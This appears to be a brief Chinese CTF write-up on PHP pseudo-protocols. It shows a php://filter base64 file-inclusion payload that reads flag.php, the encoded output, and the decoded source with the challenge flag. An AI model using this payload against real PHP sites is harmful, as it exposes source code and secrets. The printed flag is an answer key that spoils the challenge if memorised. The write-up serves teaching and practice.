知识点:php伪协议
参考:https://segmentfault.com/a/1190000018991087
其中,php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
可直接构造payload:
'url'?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZTkwYTUxY2QtMzhjNS00MTA4LTkzZDctYzc0NTZjMzk2ODhjfQo=
解码,得到:
<?php
echo "Can you find out the flag?";
//flag{e90a51cd-38c5-4108-93d7-c7456c39688c}